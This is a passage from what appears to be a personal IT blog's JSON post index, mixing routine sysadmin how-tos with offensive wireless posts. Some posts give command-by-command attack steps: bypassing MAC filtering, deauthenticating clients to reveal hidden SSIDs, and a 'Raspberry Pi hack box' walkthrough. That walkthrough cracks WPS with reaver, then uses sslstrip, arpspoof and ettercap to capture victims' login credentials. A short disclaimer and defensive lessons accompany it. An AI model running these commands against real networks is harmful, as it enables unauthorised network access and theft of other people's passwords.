","permalink":"https://blog.wapnet.nl/2013/08/remote-connect-sql-express/","summary":"\u003col\u003e\n\u003cli\u003eStart SQL Server Surface Area Configuration \u0026gt; Remote connections\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/wp-content/uploads/2013/08/SQL-Surface.png\"\u003e\u003cimg alt=\"SQL-Surface\" loading=\"lazy\" src=\"/wp-content/uploads/2013/08/SQL-Surface.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eSelect \u0026ldquo;using both TCP/IP and named pipes\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eStart \u0026ldquo;SQL Server Configuration Manager\u0026rdquo;\u003c/li\u003e\n\u003cli\u003eFind out the dynamic port\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/wp-content/uploads/2013/08/SQL-dynamicPort.png\"\u003e\u003cimg alt=\"SQL-dynamicPort\" loading=\"lazy\" src=\"/wp-content/uploads/2013/08/SQL-dynamicPort.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eNow connect to the SQL server from a remote server:\u003c/li\u003e\n\u003cli\u003eHOSTNAMESERVER\\MSSQL$SQLEXP_VIM,49382\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"/wp-content/uploads/2013/08/sql-connect.png\"\u003e\u003cimg alt=\"sql-connect\" loading=\"lazy\" src=\"/wp-content/uploads/2013/08/sql-connect.png\"\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ol\u003e","title":"Remote connect SQL Express"},{"content":"nano /etc/network/interfaces auto wlan0 iface wlan0 inet dhcp wpa-ssid YOUR-SSID-HERE wpa-psk YOUR-PASSWORD-HERE ","permalink":"https://blog.wapnet.nl/2013/06/linux-connect-wifi-wpa-network/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enano /etc/network/interfaces\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eauto wlan0\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eiface wlan0 inet dhcp\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    wpa-ssid YOUR-SSID-HERE\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    wpa-psk YOUR-PASSWORD-HERE\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Linux connect WiFi / WPA network"},{"content":"airmon-ng start wlan0 airodump-ng mon0 iwconfig wlan0 essid SSID-NAME channel X iwconfig wlan0 airodump-ng -c 4 -a \u0026ndash;bssid MACADDRESS-AP mon0 airmon-ng stop wlan0 macchanger -m MACADDRESS-CLIENT wlan0 ifconfig wlan0 down ifconfig wlan0 up iwconfig wlan0 essid SSID-NAME channel 4 iwconfig wlan0\n","permalink":"https://blog.wapnet.nl/2013/05/wireless-mac-address-bypass/","summary":"\u003cp\u003eairmon-ng start wlan0\nairodump-ng mon0\niwconfig wlan0 essid SSID-NAME channel X\niwconfig wlan0\nairodump-ng -c 4 -a \u0026ndash;bssid MACADDRESS-AP mon0\nairmon-ng stop wlan0\nmacchanger -m MACADDRESS-CLIENT wlan0\nifconfig wlan0 down\nifconfig wlan0 up\niwconfig wlan0 essid SSID-NAME channel 4\niwconfig wlan0\u003c/p\u003e","title":"Wireless MAC Address bypass"},{"content":" airmon-ng start wlan0\nairmon-ng\nairodump-ng mon0\nget the mac of the hidden SIDD and do a de-auth attack to force disconnect all wireless clients\naireplay-ng -0 2 -a xx:xx:xx:xx:xx:xx mon0\nnow you can see the SSID\n","permalink":"https://blog.wapnet.nl/2013/05/show-hidden-ssid/","summary":"\u003cblockquote\u003e\n\u003cp\u003eairmon-ng start wlan0\u003c/p\u003e\n\u003cp\u003eairmon-ng\u003c/p\u003e\n\u003cp\u003eairodump-ng mon0\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eget the mac of the hidden SIDD and do a de-auth attack to force disconnect all wireless clients\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003eaireplay-ng -0 2 -a xx:xx:xx:xx:xx:xx mon0\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003enow you can see the SSID\u003c/p\u003e","title":"Show hidden SSID"},{"content":" ifconfig wlan0 down\niw reg set US\niwconfig wlan0 txpower 27\niwconfig\n","permalink":"https://blog.wapnet.nl/2013/05/linux-setup-higher-tx-power-wireless/","summary":"\u003cblockquote\u003e\n\u003cp\u003eifconfig wlan0 down\u003c/p\u003e\n\u003cp\u003eiw reg set US\u003c/p\u003e\n\u003cp\u003eiwconfig wlan0 txpower 27\u003c/p\u003e\n\u003cp\u003eiwconfig\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Linux setup higher tx-power wireless"},{"content":" ifconfig eth0 192.168.1.222/24 up\nroute add default gw 192.168.1.1\necho nameserver 8.8.8.8 \u0026gt; /etc/resolv.conf\nupdate-rc.d networking defaults\n","permalink":"https://blog.wapnet.nl/2013/05/linux-setup-quick-networking/","summary":"\u003cblockquote\u003e\n\u003cp\u003eifconfig eth0 192.168.1.222/24 up\u003c/p\u003e\n\u003cp\u003eroute add default gw 192.168.1.1\u003c/p\u003e\n\u003cp\u003eecho nameserver 8.8.8.8 \u0026gt; /etc/resolv.conf\u003c/p\u003e\n\u003cp\u003eupdate-rc.d networking defaults\u003c/p\u003e\n\u003c/blockquote\u003e","title":"Linux setup quick networking"},{"content":"This is a HOWTO for installing VMware Tools on Centos 6.x.\nUpdate your system so the kernel headers/devel will match your system:\nyum update Install the VMware tools prerequisites:\nyum install make gcc kernel-devel kernel-headers glibc-headers perl Reboot the server:\nshutdown -r now Mount the VMware Tools CD (after inserting it into the VM)\nmkdir /media/cdrom mount /dev/cdrom /media/cdrom Copy the install bundle from the CD and extract it.\ncp /media/cdrom/VMware-Tools*.tar.gz /root cd /root tar xvfz VMwareTools*.tar.gz Run the installer, default on all prompts works fine.\ncd /root/vmware-tools-distrib ./vmware-install.pl Reboot the server.\nshutdown -r now Source: http://mondotech.blogspot.nl/2012/05/install-vmware-tools-on-rhel-6-centos-6.html\n","permalink":"https://blog.wapnet.nl/2013/04/install-vmware-tools-on-centos-6/","summary":"\u003cp\u003eThis is a HOWTO for installing VMware Tools on Centos 6.x.\u003c/p\u003e\n\u003cp\u003eUpdate your system so the kernel headers/devel will match your system:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eyum update\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eInstall the VMware tools prerequisites:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eyum install make gcc kernel-devel kernel-headers glibc-headers perl\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eReboot the server:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eshutdown -r now\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eMount the VMware Tools CD (after inserting it into the VM)\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir /media/cdrom\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emount /dev/cdrom /media/cdrom\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eCopy the install bundle from the CD and extract it.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecp /media/cdrom/VMware-Tools*.tar.gz /root\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd /root\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003etar xvfz VMwareTools*.tar.gz\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRun the installer, default on all prompts works fine.\u003c/p\u003e","title":"Install VMware Tools on Centos 6"},{"content":"Sometimes when a LUN is full a VM cannot shutdown properly\nMake a SSH connection to the host where the VM running at Login as root list all running VM\u0026rsquo;s # vmware-cmd -l Get the current state # vmware-cmd /vmfs/volumes/\u0026lt;UUID\u0026gt;/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx getstate Output: [root@esx ~]# vmware-cmd /vmfs/volumes/\u0026lt;UUID\u0026gt;/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx getstate getstate() = stuck Now you know for sure the status is stuck you can kill the VM ps auxwww |grep -i \u0026lt;VMNAME\u0026gt;.vmx\u0026lt;/span\u0026gt; Output: root 3093 0.0 0.3 2016 860 ? S\u0026lt; Jul30 0:17 /usr/lib/vmware/bin/vmkload_app /usr/lib/vmware/bin/vmware-vmx -ssched.group=host/user -# name=VMware ESX Server;version=3.5.0;licensename=VMware ESX Server;licenseversion=2.0 build-158874; -@ pipe=/tmp/vmhsdaemon-0/vmx569228e44baf49d1; /vmfs/volumes/49392e30-162037d0-17c6-001f29e9abec/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx The code right after root is the PID you must kill. First try only kill #kill 3093 Wait 30 seconds and try a getstate again: # vmware-cmd /vmfs/volumes/\u0026lt;UUID\u0026gt;/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx getstate If the state is \u0026ldquo;off\u0026rdquo; your ready. If the state is still stuck try the following: #kill -9 3093 Wait 30 seconds and see the state is \u0026ldquo;off\u0026rdquo; now. If the state is still \u0026ldquo;stuck\u0026rdquo; migrate all VM\u0026rsquo;s to another host en reboot the host.\nWhen the VM is off by the kill command HA (High Availability) will power on the host automaticly. Now power down the server during the boot trough the VMWare GUI. If the VM is off try to remove snapshots, (re) move disks, or fix the thing who cause the crash.\nSource: VMware KB 1004340\n","permalink":"https://blog.wapnet.nl/2013/04/force-shutdown-or-kill-a-stuck-vmware-virtual-machine/","summary":"\u003cp\u003eSometimes when a LUN is full a VM cannot shutdown properly\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eMake a SSH connection to the host where the VM running at\u003c/li\u003e\n\u003cli\u003eLogin as root\u003c/li\u003e\n\u003cli\u003elist all running VM\u0026rsquo;s\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# vmware-cmd -l\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eGet the current state\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# vmware-cmd /vmfs/volumes/\u0026lt;UUID\u0026gt;/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx getstate\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eOutput:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e[root@esx ~]# vmware-cmd /vmfs/volumes/\u0026lt;UUID\u0026gt;/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx getstate\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003egetstate() = stuck\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eNow you know for sure the status is stuck you can kill the VM\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eps auxwww |grep -i \u0026lt;VMNAME\u0026gt;.vmx\u0026lt;/span\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eOutput:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-gdscript3\" data-lang=\"gdscript3\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eroot \u003cspan style=\"color:#ae81ff\"\u003e3093\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0.0\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e0.3\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e2016\u003c/span\u003e \u003cspan style=\"color:#ae81ff\"\u003e860\u003c/span\u003e \u003cspan style=\"color:#960050;background-color:#1e0010\"\u003e?\u003c/span\u003e S\u003cspan style=\"color:#f92672\"\u003e\u0026lt;\u003c/span\u003e Jul30 \u003cspan style=\"color:#ae81ff\"\u003e0\u003c/span\u003e:\u003cspan style=\"color:#ae81ff\"\u003e17\u003c/span\u003e \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evmware\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evmkload_app \u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003eusr\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003elib\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evmware\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003ebin\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003evmware\u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003evmx \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003essched\u003cspan style=\"color:#f92672\"\u003e.\u003c/span\u003egroup\u003cspan style=\"color:#f92672\"\u003e=\u003c/span\u003ehost\u003cspan style=\"color:#f92672\"\u003e/\u003c/span\u003euser \u003cspan style=\"color:#f92672\"\u003e-\u003c/span\u003e\u003cspan style=\"color:#75715e\"\u003e# name=VMware ESX Server;version=3.5.0;licensename=VMware ESX Server;licenseversion=2.0 build-158874; -@ pipe=/tmp/vmhsdaemon-0/vmx569228e44baf49d1; /vmfs/volumes/49392e30-162037d0-17c6-001f29e9abec/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eThe code right after root is the PID you must kill.\u003c/li\u003e\n\u003cli\u003eFirst try only kill\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#kill 3093\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eWait 30 seconds and try a getstate again:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e# vmware-cmd /vmfs/volumes/\u0026lt;UUID\u0026gt;/\u0026lt;VMDIR\u0026gt;/\u0026lt;VMNAME\u0026gt;.vmx getstate\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eIf the state is \u0026ldquo;off\u0026rdquo; your ready. If the state is still stuck try the following:\u003c/li\u003e\n\u003c/ul\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#kill -9 3093\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cul\u003e\n\u003cli\u003eWait 30 seconds and see the state is \u0026ldquo;off\u0026rdquo; now.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eIf the state is still \u0026ldquo;stuck\u0026rdquo; migrate all VM\u0026rsquo;s to another host en reboot the host.\u003c/p\u003e","title":"Force shutdown or kill a stuck VMWare virtual machine"},{"content":"There are a lot of security issues because of bad plugins (Java, Flash, etc). You can disable all plugins by default so you must click to activate.\nabout:config plugins.click_to_play set value to true Restart the browser Now all plugin are diabled by default and you must click to activate.\n","permalink":"https://blog.wapnet.nl/2013/01/firefox-disable-all-plugins-by-default/","summary":"\u003cp\u003eThere are a lot of security issues because of bad plugins (Java, Flash, etc). You can disable all plugins by default so you must click to activate.\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eabout:config\u003c/li\u003e\n\u003cli\u003eplugins.click_to_play\u003c/li\u003e\n\u003cli\u003eset value to \u003cstrong\u003etrue\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eRestart the browser\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eNow all plugin are diabled by default and you must click to activate.\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2013/01/ff-plugin.png\"\u003e\u003cimg alt=\"ff-plugin\" loading=\"lazy\" src=\"/wp-content/uploads/2013/01/ff-plugin.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"Firefox disable all plugins by default"},{"content":"Finally I found a nice project for my Raspberry PI :) I\u0026rsquo;ll write down some notes in this post to make it easier to find back some linux commands. Please use this documentation only as a white hat hacker and for learning purposes only!!!!\nFirst:\nHave a compatible USB wireless dongle (list @ pwnpi.net ) Download PwnPI @ pwnpi.net Download win32diskimager @ http://sourceforge.net/projects/win32diskimager/ Write the image to a SD card Boot up your PI (with a network cable) Scan the network (I use netscan.exe) Connect with putty to your device To break in a WPS compatible wireless access point:\nairmon-ng start wlan0 reaver -i mon0 -b 64:27:37:50:02:77 -c 5 -vv After +/- 10 hours you have the PSK Now configure the wireless with your credentials\nairmon-ng stop wlan0 nano /etc/network/interfaces Original file: auto lo iface lo inet loopback iface eth0 inet dhcp allow-hotplug wlan0 iface wlan0 inet manual wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf iface default inet dhcp New file: auto lo iface lo inet loopback iface eth0 inet dhcp iface wlan0 inet dhcp wpa-ssid \u0026#34;L0g0ff\u0026#34; wpa-psk \u0026#34;SomePassword\u0026#34; allow-hotplug wlan0 iface wlan0 inet dhcp #wpa-roam /etc/wpa_supplicant/wpa_supplicant.conf iface default inet dhcp Now bring up the wireless card: ifup wlan0 Now the wireless setup is done we make our PI an IP forwarding server. So that we can do man in the middle attacks.\nnano /proc/sys/net/ipv4/ip_forward change the 0 to 1 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 666 (needed to forward all HTTP traffic to SSLStrip)\nsslstrip -l 666(do not close this terminal) Now the proxy is running we want to ARP spoof so that we can redirect all traffic to our PI\narpspoof -i wlan0 -t 192.168.1.12 192.168.1.1(where 1.12 is our victim and 1.1 our gateway) (do not close ths terminal) You can also spoof the entire network with arpspoof -i wlan0 192.168.1.1, but if your PI cannot handle all traffic you will DoS your network. And now all things are set the sniffing can begin :)\nettercap -m ettercap.log -Tq -i wlan0(don\u0026rsquo;t close the terminal) The only thing left now is wait that the victim is going to log in a website and the username and password will write in to the ettercap.log file. With the command cat ettercap.log |grep USER you can see all the login credentials.\nWhat did we learn?\nNever login to a website without https Never login to a website with https errors Always disable WPS on your router On company wireless sites always use a DMZ Sources: http://www.ikwashetniet.blogspot.nl/2012/01/wps-van-handig-hulpmiddel-naar-gapend.html http://www.hackavision.com/2011/07/sniffing-passwords-over-wifi-connection.html\n","permalink":"https://blog.wapnet.nl/2013/01/my-raspberry-pi-project-hack-box/","summary":"\u003cp\u003eFinally I found a nice project for my Raspberry PI :) I\u0026rsquo;ll write down some notes in this post to make it easier to find back some linux commands. Please use this documentation only as a white hat hacker and for learning purposes only!!!!\u003c/p\u003e\n\u003cp\u003eFirst:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eHave a compatible USB wireless dongle (list @ \u003ca href=\"http://www.pwnpi.net\"\u003epwnpi.net\u003c/a\u003e )\u003c/li\u003e\n\u003cli\u003eDownload PwnPI @ \u003ca href=\"http://www.pwnpi.net\"\u003epwnpi.net\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eDownload win32diskimager @ \u003ca href=\"http://sourceforge.net/projects/win32diskimager/\"\u003ehttp://sourceforge.net/projects/win32diskimager/\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eWrite the image to a SD card\u003c/li\u003e\n\u003cli\u003eBoot up your PI (with a network cable)\u003c/li\u003e\n\u003cli\u003eScan the network (I use \u003ca href=\"http://tools.global-e.nl/netscan.exe\"\u003enetscan.exe\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eConnect with \u003ca href=\"http://tools.global-e.nl/putty.exe\"\u003eputty\u003c/a\u003e to your device\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eTo break in a WPS compatible wireless access point:\u003c/p\u003e","title":"My Raspberry Pi Project: Hack box"},{"content":"Some packages are not in the default repositories you can install these on a alternative way.\nFirst install the base development tools:\n#pacman -S base-devel #pacman -S wget #pacman -S sudo Go to https://aur.archlinux.org and find you package Find the tarball, right click it and copy link location Wget the package (example nemo-fm) and install the package\n$cd ~ $wget https://aur.archlinux.org/packages/ne/nemo-fm/nemo-fm.tar.gz $tar xvzf nemo-fm.tar.gz $cd nemo-fm $makepkg -s $sudo pacman -U nemo-fm-1.0.2-1-i686.pkg.tar.xz Have fun :)\n","permalink":"https://blog.wapnet.nl/2012/10/archlinux-install-uar-package-arch-user-repository/","summary":"\u003cp\u003eSome packages are not in the default repositories you can install these on a alternative way.\u003c/p\u003e\n\u003cp\u003eFirst install the base development tools:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#pacman -S base-devel\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#pacman -S wget\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e#pacman -S sudo\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eGo to \u003ca href=\"https://aur.archlinux.org\"\u003ehttps://aur.archlinux.org\u003c/a\u003e and find you package\nFind the tarball, right click it and copy link location\nWget the package (example nemo-fm) and install the package\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$cd ~\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$wget https://aur.archlinux.org/packages/ne/nemo-fm/nemo-fm.tar.gz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$tar xvzf nemo-fm.tar.gz\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$cd nemo-fm\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$makepkg -s\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e$sudo pacman -U nemo-fm-1.0.2-1-i686.pkg.tar.xz\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eHave fun :)\u003c/p\u003e","title":"Archlinux install UAR package (Arch User Repository)"},{"content":"Best way to clean malware, rootkits, trojans and virusses (I call it malware from now on) is to backup your data, scan your data with another computer, remove your partition, reinstall Windows, install a virusscanner, update your Windows and put you data back. This is the safest method and I allways recommend this to people.\nBut if you don\u0026rsquo;t want to reinstall everything you can follow this steps to get a infected pc clean.\nGo to http://support.kaspersky.com/viruses/rescuedisk/main?qid=208286083 and download the USB util and the Kaspersky Rescue Disk 10 image Create a bootable USB disk with the USB util. You also can burn the ISO to a CD Boot from the USB/CD Make a network connection (I recommend using a network cable) Update the virus definitions Select all options and do a full system scan. This can take about 1,5 hour. Maybe longer if you use a slow disk/pc Clean all the malware Exit the rescue disk and boot windows Now download Kaspersky TDSSKiller @ http://support.kaspersky.com/faq/?qid=208283363 Install the TDSSKiller software, scan the pc and remove the rootkits. It is almost impossible to clean a rootkit with a standard virusscanner. And because of some rootkits you can\u0026rsquo;t install drivers so you can\u0026rsquo;t load an antivirus real time protection. Now install a virusscanner. I recommend MS Security Essentials. This is a free antivirus software. Update the antivirus (this can take 45 min the first time so please be patient) software and do a full scan. Now download and install Malwarebytes Anti-Malware and do a full system scan. Update your Windows true windows update (and turn automatic updates ON!), update your browser, update Java and Flash or remove it. Now your pc is clean of almost any type of malware and ready to protect it for new malware. All steps together takes almost 6 hours of scanning. So maybe reinstall your operating system is always the best option ;-)\nThis steps helped me to clean a very bad infected laptop that had not any antivirus realtime protection installed. If this steps also helps you to fix a infected pc please leave a comment below or buy me a beer (see widget on the right).\n","permalink":"https://blog.wapnet.nl/2012/09/howto-remove-all-kind-of-malware-rootkits-trojans-and-virusses/","summary":"\u003cp\u003eBest way to clean malware, rootkits, trojans and virusses (I call it malware from now on) is to backup your data, scan your data with another computer, remove your partition, reinstall Windows, install a virusscanner, update your Windows and put you data back. This is the safest method and I allways recommend this to 